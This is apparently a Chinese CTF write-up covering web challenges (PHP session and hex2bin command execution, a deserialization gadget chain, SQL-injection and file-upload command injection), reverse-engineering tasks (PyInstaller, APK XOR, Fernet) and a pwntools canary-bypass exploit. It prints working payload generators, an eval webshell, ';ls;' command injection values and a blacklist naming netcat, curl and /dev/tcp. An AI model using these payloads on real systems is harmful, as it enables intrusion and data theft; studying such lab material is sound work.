web
疯狂星期四
先来看一下源码
分析代码的黑名单后得知
我们可以用的字符就只剩下
字母a-z(大小写均可)
数字2
空格
这里的限制太多了
这里比较常用的getallheaders被ban掉了
这里就是用session来做
session_start()开启session
session_id()获取session
这里我们要构造一个ls的session
这里既然实现成功了
那么,就之后都只需要改PHPSESSID的值就可以了
可是尝试用ls /来查看根目录不成功
这里要注意一个问题PHPSESSID中不可以包含空格所以我们要进行编码
这里可以看到在数字中只有2没有被过滤
所以这里就可以联想到一个函数hex2bin()
这个会将16进制的数字转换成对应的ASCLL值
这里就可以把ls /转化一下
然后去传入
继续将得到的flag文件名cat
瓦学弟上分记
这里我们开启环境后看到的是
那么我们就去dirsearch找一下源码
然后去访问一下index.php.bak
自动就开始下载
看这个文件名把后缀删掉,更改为index.php
然后查看
<?php
error_reporting(0);function wadw_decode($str) {$str = base64_decode($str);$str = str_rot13($str);$str = strrev($str);$str = base64_decode($str);$str = strtr($str, 'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');$str = str_rot13($str);$str = strrev($str);return base64_decode($str);
}class Valinit {public $mom;public $think;protected $file;public $valt;public function __destruct() {$this->think = "你成功下载了瓦罗兰特,成为光荣的瓦学弟 (*∩_∩*)<br>";echo $this->think;echo $this->mom;}public function __call($name, $args) {echo "瓦学弟想要找妈妈,但是自己太菜了找不到妈妈 (~T-T~)<br>";$func = $this->mom->valstud;return $func();}public function __toString() {echo "瓦学弟原来有些基础觉得这游戏轻轻松松 (ˇ^ˇ)<br>";$this->Valfinal();return "";}
}class Process {public $next;public $data;public $rank;public $test;public function __get($name) {if (md5(md5($this->data))==666) {$this->data = "快了快了,瓦学弟感觉自己马上就能找到妈妈了 q(@^_^@)p<br>";unset($this->data);} else {$this->next = "奋战百日瓦学弟发现自己的水平越来越行了 o(*^_^*)o <br>";echo $this->next;return $this->valt;}}
}class Finalo { public $val;private $shell;public function __construct() {$this->val = new Valinit();}public function __unset($name) {echo "瓦学弟成功的找到了妈妈 \(@^o^@)/ <br>";eval($this->shell);}
}class Finalt {public $rank;public $file;public $content;public function __invoke() {echo "经过没日没夜的练枪,瓦学弟总算打到神话了 ( •̀ ω •́ )y<br>";if ($this->rank === "赋能") {echo "凭借着与生俱来的天赋,瓦学弟最终成为了赋能哥 Y(~^o^~)Y<br>";file_put_contents($this->file, $this->content);}}
}if (isset($_GET['wadw'])) {$wadw = wadw_decode($_GET['wadw']);unserialize($wadw);
} else {echo "你也想打瓦?m(-_-)m<br>";
}?>
接下来来分析一下这段代码
这一段是最后结果的最重要的代码
刚才那个简单的界面就是因为这段
然后我们看到需要满足一定的条件
那就是参数wada要等于进行了函数wada_decode后的
如果符合,就unserialize()
触发整个魔术方法链。
接下来分析整个过程
首先是一个加密
先吧这个对象$str解出来
根据这个代码进行
这个代码进行了几次过程
function wadw_decode($str) {$str = base64_decode($str); // 第 1 步:base64 解码(最外层)$str = str_rot13($str); // 第 2 步:ROT13 变换$str = strrev($str); // 第 3 步:字符串反转$str = base64_decode($str); // 第 4 步:base64 解码$str = strtr($str,'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');// 第 5 步:字符映射还原成标准 base64$str = str_rot13($str); // 第 6 步:再次 ROT13 变换$str = strrev($str); // 第 7 步:再次反转return base64_decode($str); // 第 8 步:base64 解码(得到原始数据)
}
那么就逆着这个代码来
代码:
<?php
$a = 'new Finalo';
$str = serialize($a);
function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
echo $result=decode($str);
这里就得到了原始的str
看源代码可以知道这里考的是php反序列化
然后就是找链子
先找一下最后要用到的位置
在incoke函数中调用了file_put_contents()
我们可以利用这个函数来写入木马
所以必须调用到invoke函数
那调用invoke函数又需要使用到
中的$func这个对象被当作函数用触发invoke()
触发call()又需要调用一个找不到的方法Valfinal()
调用这个又要输出对象使用echo或者print
又需要用到destruct()中的mom这个对象
调用destruct()的话需要在反序列化完成后会自动删除,调用这个函数
这里就可以构造链子
<?php
class Valinit {public $mom;public $think;protected $file;public $valt;
}class Finalt {public $rank;public $file;public $content;
}$a = new Finalt();
$a -> rank = "赋能";
$a -> file = '1.php';
$a -> content = "<?php @eval(\$_POST[1]);?>";$o = new stdClass();
$o->valstud = $a; //触发__invoke()$b = new Valinit();
$b->mom = $o; //触发__call()$a = new Valinit();
$a->mom = $b; //触发__tostring()function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
$str = serialize($a);
echo $result=decode($str);
将得到的结果进行传参
显示以下界面就说明成功了
然后就需要访问那个马了
admin Pro Max
我们开启环境后首先看到的是一个登录界面
既然如此,那就先填个admin账户吧
密码去爆破一下得到密码也是admin
我们直接登录
登录成功
看到下面选项
要找flag
先看看吧
这个样子一看就好假
看来都是假的
看看地址栏
看的出来登录以后是一个文件包含,且没有我们想要的东西
那这个home.php就没有什么用了
我们就回到登录界面再看
在用户名输入一个单引号尝试闭合看看
那就是sql注入了,而且单引号是被禁用了的
所以就猜测,后台语句是
select * from `TG1u` where user='$username' and password='$password';
所以这个单引号逃逸的技巧就是我们使用\把username后面的单引号转义掉
然后他最后就变成
select user from user where user='$_POST[username]\' and password='$_POST[password]';
把转义的符号去掉理解一下
select user from user where user='$_POST[username] and password='$_POST[password]';
所以username的单引号是在passwd前面那个闭合的
这里我们尝试一下
这样就顺利到了查字段数
但是这里4太大了
这就说明字段数是2
继续查回显位后成功
然后报库名
这里需要注意的是在查回显位2的库名时就会发现后面缺少了3是不行的
那后面的都得带上3
接下来查表名成功看到了flag
又近了一步
接下来就去看flag的内容
这里查内容结果得到一个假的flag
那就得另想办法
sql写马
可以用outfile或者dumpfile命令来写入
在MySQL中outfile和dumpfile函数都是用来写入(输出)文件的,它们的功能相似但存在差异
outfile可以输出多行内容,而dumpfile只输出一行内容
outfile会破坏文件原有的数据格式,如(\n会变成\)
所以如果想保持原数据格式进行输出的话,就需要用dumpfile代替outfile
"写入的内容" into outfile/dumpfile "绝对路径"
那么我们就得去看用户 (因为写入东西有权限要求)
现在知道了我们的root用户名
还需要去找该网站的根目录
找到了目录
接下来就是去写马
这里我们试图写入结果显示已存在,那么就成功了
接下来我们再登录去访问file参数
这里也证实了写马成功
这里最可疑的就是secret
所以我们就cat它
图床
老样子,dirsearch
两个重点,一个是login.php,一个www.zip
很显然,ww.zip更是我们所需要的东西
解压后看到是源码:
login.php:
<?php
session_start();$SECRET_KEY = getenv('SECRET_KEY');if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = $_POST['username'];$password = $_POST['password'];if ($username === 'TG1u') {if (hash('sha256', $password) === 'cde9db455bafb96f7c2a16e5827335e82a8bf74010c5370f5e95ce69f6ee1302') {$_SESSION['username'] = $username;header('Location: index.php');exit();} else {$_SESSION['admin'] = 'Invalid password';header('Location: login.php');exit();}} else {$_SESSION['username'] = $username;header('Location: index.php');exit();}
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 400px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;}.card-body {padding: 30px;}.form-group {margin-bottom: 20px;}label {display: block;margin-bottom: 8px;font-weight: 500;color: var(--dark);}input[type="text"],input[type="password"] {width: 100%;padding: 12px 15px;border: 1px solid #ddd;border-radius: 8px;font-size: 16px;transition: border-color 0.3s;}input[type="text"]:focus,input[type="password"]:focus {border-color: var(--primary);outline: none;box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2);}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;}.btn:hover {background: var(--secondary);}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;}.alert-danger {background: #f8d7da;color: #721c24;border: 1px solid #f5c6cb;}.info {text-align: center;margin-top: 20px;color: #6c757d;font-size: 14px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Welcome to ImageShare</h1></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><h2 style="text-align: center; margin-bottom: 20px; color: #343a40;">Login to Continue</h2><form action="login.php" method="post"><div class="form-group"><label for="username">Username</label><input type="text" id="username" name="username" required autofocus></div><div class="form-group"><label for="password">Password</label><input type="password" id="password" name="password" required></div><button type="submit" class="btn">Login</button></form></div></div></div>
</body>
</html>
在这里面我们就可以看到正确的用户名和密码
所以用户名:TG1u
但是这个密码就不一样了
密码只告诉了我们被sha256加密后的
那么我们就得想办法去拿到这个没有被加密的
在线网站:哈希彩虹表在线查询|MD5在线解密加密|SHA1在线解密加密|SHA256在线解密加密|SHA512在线解密加密|GEEKAPP开发者在线工具
这样我们就顺利地登录了!
现在就进入了upload.php界面
那么就来看看它的源码吧:
upload.php:
<?php
session_start();function allowed_file($filename) {$allowed_extensions = array('png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp');$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));return in_array($ext, $allowed_extensions);
}if (!isset($_SESSION['username'])) {header('Location: login.php');exit();
}if (!file_exists('./uploads')) {mkdir('./uploads', 0777, true);
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!isset($_FILES['file'])) {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}$file = $_FILES['file'];if ($file['name'] === '') {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}if (!allowed_file($file['name'])) {$_SESSION['admin'] = 'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)';header('Location: upload.php');exit();}$file_path = uniqid() . '_' . $file['name'];move_uploaded_file($file['tmp_name'], './uploads/' . $file_path);header('Location: upload.php?file_path=' . urlencode($file_path));exit();
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);$username = $_SESSION['username'];
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Upload Image</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #43e97b 0%, #38f9d7 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 600px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;position: relative;}.user-info {position: absolute;top: 10px;right: 20px;font-size: 14px;background: rgba(255, 255, 255, 0.2);padding: 5px 10px;border-radius: 20px;}.card-body {padding: 30px;}.form-group {margin-bottom: 25px;}.upload-area {border: 2px dashed #ccc;border-radius: 12px;padding: 40px 20px;text-align: center;transition: all 0.3s;background: #f8f9fa;cursor: pointer;}.upload-area:hover {border-color: var(--primary);background: #edf2ff;}.upload-icon {font-size: 48px;color: var(--primary);margin-bottom: 15px;}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;margin-top: 20px;}.btn:hover {background: var(--secondary);}.btn-logout {background: #6c757d;margin-top: 15px;}.btn-logout:hover {background: #5a6268;}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;border: 1px solid transparent;}.alert-success {background: #d4edda;color: #155724;border-color: #c3e6cb;}.alert-danger {background: #f8d7da;color: #721c24;border-color: #f5c6cb;}.logout-container {text-align: center;margin-top: 20px;}.uploaded-image {max-width: 100%;margin-bottom: 20px;border: 1px solid #ddd;border-radius: 8px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Image Upload</h1><div class="user-info">Logged in as: <?php echo htmlspecialchars($username); ?></div></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><?php if (isset($_GET['file_path'])): ?><?php$file_name = $_GET['file_path'];$full_path = './uploads/' . $file_name;$blacklist = array('sh', 'bash', 'zsh', 'ksh', 'csh', 'tcsh', 'nc', 'netcat', 'ncat', 'socat', 'perl', 'python', 'ruby', 'lua', 'wget', 'curl', 'fetch', 'lynx', 'sudo','ssh', 'telnet', 'rsh', 'rexec', 'sftp', 'rm', 'mv', 'dd', 'mkfs', 'chmod', 'chown', 'reverse', 'shell', 'bind', 'pty', 'exec', 'sh -i', '/dev/tcp', '/dev/udp' );foreach ($blacklist as $char) {if (strpos($file_name, $char) !== false) {die();}}if ($_SESSION['username'] === 'TG1u') { if(allowed_file($full_path)) {if(file_exists($full_path)){$content = file_get_contents($full_path);$b64 = base64_encode($content);$finfo = new finfo(FILEINFO_MIME_TYPE);$mime_type = $finfo->buffer($content);echo '<img src="data:'.$mime_type.';base64,'.$b64.'" alt="Uploaded Image" class="uploaded-image">';} else {echo '<div class="alert alert-danger">File not found.</div>';}} else { include($full_path);} } else {system('base64 ' . $file_name . ' > /tmp/' . $file_name . '.b64');echo '<div class="alert alert-danger">Sorry, but you are not allowed to view this image.</div>';}?><?php endif; ?><form action="upload.php" method="post" enctype="multipart/form-data"><div class="form-group"><div class="upload-area" onclick="document.getElementById('file-input').click()"><div class="upload-icon">📁</div><h3>Click to select an image</h3><p>or drag and drop your file here</p></div><input type="file" id="file-input" name="file" accept="image/*" style="display: none;" onchange="this.form.submit()"></div><button type="submit" class="btn">Upload Image</button></form><div class="logout-container"><a href="login.php" class="btn btn-logout">Back to Login</a></div></div></div></div>
</body>
</html>
此外其实我们还需要注意到一点:在www文件夹中有一个文件夹名为uploads,其实这就说明我们所上传的文件都存在这个文件夹中了
进去可以看到有一个已经存在的.htaccess文件
作用:拒绝所有用户访问所有以 .php 为结尾的文件
接下来来分析一下upload.php文件
有一个白名单:'png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp'
整个代码的流程就是:先判断你是否登录了,没有登录就返回登录界面
然后判断uploads文件夹是否在,不在就创建
通过POST方法上传文件,再检查是否上传了文件,是否上传的文件名为空,如果检查不通过就输出'No file selected'
然后再调用前面已经定义的白名单函数,不符合就输出'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)'如果前面的检查都通过了,就会使用
uniqid()
防止文件名冲突,并且将上传结果跳转回页面并传递路径。最后使用
$_SESSION['admin']
传递错误信息
整个流程看明白了,那么大致就是要绕过白名单那件事了
上面的分析漏了一大半(只有前端代码的前面的部分)
在代码的最下面还有一长段
这里又看到了一堆黑名单
然后在下面可以看到,当用户为TG1u时 ,可以执行后续判断和文件读取或执行
但是如果只是一个普通用户,就只能用system
去实践了一下,确实是,不允许我看而TG1u就可以看到
但是由于文件名的限定,我们上传的仅仅只是图片后缀的文件
所以导致没有办法将图片马里的代码被执行
这里我们就得好好利用两个用户之间权限的差异了
普通用户里面自带system函数
而我们所在get传参中所上传的参数存为了变量file_name,也正是这system中所利用的变量
那么我们用 ;来截断前后
这样这个代码就会变成
system(base64;command;> /tmp/ ;command; b64);
我们另外开启一个页面,登录普通用户
并且get传参传入file_path=;ls;
在这个图片中就证实了前面的代码执行了
这里可能会有个疑惑点就是为什么会有两个uploads,其实再仔细比对会发现都有两个相同的结果
这是因为前面我们的代码中的system函数里执行了两次command
既然这样能看了,我们就去看看uploads刚刚我们用TG1u用户上传的文件
经过多次尝试后,由于我们是普通用户根本看不了图片,看到的只是乱码(无论是原有的还是我们所上传的)不过
不过在cat我们所上传的图片马时却收到了火绒的提醒,这说明木马是上传成功了,但是由于后缀名而不被当做php代码被解析,所以去进行连接时会返回数据为空
先不管了
先去找一下flag,依照惯例去看一下根目录
确实是看到了flag
既然看到了就尝试cat它一下
由于权限不够,我们看不了flag
那就必须返回到TG1u的用户下去进行
但是如果继续上传图片马并没有办法解析成php
这就得注意到一个点“我们的文件上传方式是POST,而权限的限定的是在GET里的传参”
那我们就直接写马,在get传参中写一个木马文件,后缀名不是图片形式(因为不会被解析),也不是php形式(因为前文提到的被禁止访问所有的.php文件)
这里补充一句,之所以可以这么做是因为有文件包含
正好源码中有
这个利用传参写马需要在普通用户下进行(还是由于system)
然后我们来ls一下看有没有了既然有了就回到TG1u下去利用马来cat flag
先ls看能不能成功
成功,那就cat,但是如果直接cat是无用的
这里就说明我们的权限还是不够
提权到root(利用sudo命令)
Re
师兄的爱恋故事1(取证)
首先我们下载的是一个名为exe的文件
没有后缀名,那么我们就去改名为1.exe
那么就看到了师兄
这就说明我们的改名的选择是正确的
再来看看这个提示
那么就去安装看看pyinstaller
但是了解后发现其实pyinstaller的作用就是这样看来利用pyinstaller是不能实现的
因为他的结果就是创了一个exe可执行程序
我还特意去改成了py的后缀
但是报错
如果你只有 .exe
文件,没有 .py
:
那 PyInstaller 是用不了的,因为它不能反编译 exe 文件。
你可能需要用 反编译工具(比如 pyinstxtractor.py
)尝试提取源码
✍️ 总结
你有 | 用途 | 是否能用 PyInstaller |
---|---|---|
.py 文件 | 打包成 .exe | ✅ 支持 |
.exe 文件 | 想逆向成 .py | ❌ 不支持(需要反编译工具) |
-
✅
pyinstxtractor.py
—— 提取 PyInstaller 包内容 -
✅
uncompyle6
或pycdc
—— 将.pyc
反编译成.py
-
✅ Python 对应版本(重要!必须匹配)
工具准备好后,我们就开始进行反编译吧
运行命令
python pyinstxtractor.py 1.exe
然后我们就看到了反编译文件 师兄的故事.pyc
然后再用
uncompyle6 "师兄的故事.pyc" > main.py
这里就看到出现了版本问题
再换成pycdc的来解成py文件
成功后得到源码
看到关键语句
这就说明这一段代码是在进行AES加密
所以需要进行AES解密
所以写代码
from Crypto.Cipher import AES# 提供的信息
AES_KEY = b' \xf3\x10\x0bA.\xfe\xd1\xb9\x16\xa2\xde\x03\xc4\xdf\x00'
AES_IV = b',\x19\xd5\xd3\xf5\xf2\xe9\xf7\xd0\xe1\x0e\x98I!J\xcd'
ENCRYPTED_PASSWORD = b'.\xd6nP\x7f@Z\xe4\xb7\xd3\xfb\x82r_/q'
# 创建AES-CBC解密器
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 解密数据
decrypted = cipher.decrypt(ENCRYPTED_PASSWORD)# 移除PKCS7填充
pad_length = decrypted[-1]
if pad_length < 1 or pad_length > AES.block_size:print("警告:填充值无效,可能不是PKCS7填充")password = decrypted
else:# 验证并移除填充if decrypted[-pad_length:] == bytes([pad_length] * pad_length):password = decrypted[:-pad_length]else:print("警告:PKCS7填充验证失败,尝试直接输出")password = decrypted# 尝试以多种编码格式解码结果
def decode_bytes(data):try:return data.decode('utf-8'), 'utf-8'except UnicodeDecodeError:try:return data.decode('latin-1'), 'latin-1'except:return data, 'hex'# 显示解密结果
result, encoding = decode_bytes(password)
print("\n" + "="*50)
print(f"密钥 (hex): {AES_KEY.hex()}")
print(f"IV (hex): {AES_IV.hex()}")
print(f"密文 (hex): {ENCRYPTED_PASSWORD.hex()}")
print("\n解密结果:")
if encoding == 'hex':print(f"原始字节: {password}")print(f"十六进制: {password.hex()}")print(f"Base64: {base64.b64encode(password).decode('utf-8')}")
else:print(f"明文密码: {result}")print(f"编码格式: {encoding}")print(f"原始字节: {password}")
print("="*50)
得到了结果
再运行刚才的exe文件
喜欢师兄讲的课吗
获得的附件名为zip
所以改名为1.zip
然后就得到了一个后缀为apk的文件
🔧 安卓逆向所需工具:
任务 | 工具推荐 |
---|---|
反编译 APK | jadx、apktool |
分析 .so 库 | Ghidra、IDA Pro、Cutter、Radare2 |
解密、调试算法 | Frida(动态分析)、Python(重写算法) |
那么这里我们就不能用ida来进行反编译,而是用jadx来进行安卓逆向
这里就得先进入jadx的文件夹中
然后在地址栏输入cmd来打开Dos命令窗口然后再依次输入两个命令
cd lib
java -jar jadx-gui-1.4.4.jar
然后就进入了gui界面的jadx
然后把刚才的apk文件拖到界面中
然后再去找main函数(和ida中一样)
这里能够注意到一个xor的存在
重点分析一下这句话呢
不是很懂,问问ai
https://chatgpt.com/s/t_6868ffec2b8881918ff892d10ed88b0d
然后我们就需要去找.so的文件
将获得的.apk文件修改为.zip文件
然后进入文件夹中找到.so文件,交给ida进行反编译然后再去找刚刚分析出来的名字
Java_com_example_createso_MainActivity_baby_1xor
然后就找到了
再来进行分析一下这段代码
就是获取了一个数组的长度,然后将这个数组四个为一组,与key进行异或
那么我们就得去找key值这里应该会有key值
那么就看看
但是这里得到的key是假的
其实我们在刚刚的那个界面里去找到那个key数组,然后追踪就可以得到但是这个追踪得到的也假,居然是连着的四个数
错了错了
这里我们得仔细看一下刚才的hide_key函数里的, 里面显示的是
key[0]^0x47
key[1]^0x32
key[2]^0x11
key[3]^0x12
那么这里我们找到的连着的四个数就是key数组
然后写代码
# 你在so里拿到的混淆key原始值(举例,替换成你实际值)
obfuscated_key = [0x56, 0x57, 0x58, 0x59] # 根据hide_key异或规则解密key
real_key = [obfuscated_key[0] ^ 0x47,obfuscated_key[1] ^ 0x32,obfuscated_key[2] ^ 0x11,obfuscated_key[3] ^ 0x12,
]# 已知密文c
cipher = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93,122, 121, 119, 4, 120, 124, 36, 7, 127, 42,117, 6, 112, 41, 32, 4, 112, 47, 119, 81,123, 47, 33, 81, 40, 120, 114, 24
]# 反向异或恢复flag
flag = [chr(c ^ real_key[i % 4]) for i, c in enumerate(cipher)]print("Flag:", "".join(flag))
来咯来咯
得到的是一个exe文件,但是长的像zip
那就改后缀为zip
解压后得到了一堆txt文件和一个exe文件以及一个文件夹
去把那个exe文件看看
这里最特殊的就是那个d.pyc
就先对它进行反编译
https://pylingual.io/
看到这个是一个加密过程
但是密文太长了
而且从代码中可以看到key就是我们从exe反编译出的txt文件的内容
就用在线工具为我们解密
Fernet 在线解密 | 长亭百川云
看结果大致是一个python代码
就去看看
找到关键代码
只要我们在程序中输入“糖果”就会输出flag
那么这里我们就运行aomo.exe,并输入糖果
把这个截屏发到微信进行文字提取
pwn
canary
canary这个知识点在我之前的文章里有涉及Canary_canary csdn-CSDN博客
这里我们得到文件后先去checksec文件
开启了canary保护
ida反编译看看代码
非常完美的拥有格式化输出printf
那就利用这一句来获得canary的地址
通过覆盖最低字节,然后再补齐,在原封不动的放回去,达到栈溢出的目的
去看main的栈图
分析得出cnary在RSP寄存器上,大小为8字节
第一个buf的大小为0x30字节,但是接收的却是0x100,所以就输入0x30-0x8+0x1字节,覆盖掉\x00
然后第二次栈溢出将canary的值再变回来
然后覆盖返回地址到后门函数就可以cat flag了
from pwn import*
p=remote('172.16.17.201',50079)
backdoor = 0x04011DE
padding = 0x30 - 0x08
p.sendlineafter(b'Tell me your name\n',b'a'*(padding))
canary = u64(p.recvuntil(b'D')[-10:-3].rjust(8,b'\x00'))
print(hex(canary))
payload = b'a' * (0x50 - 0x08) + p64(canary) + b'a' * 0x08 + p64(backdoor)
p.sendline(payload)
p.interactive()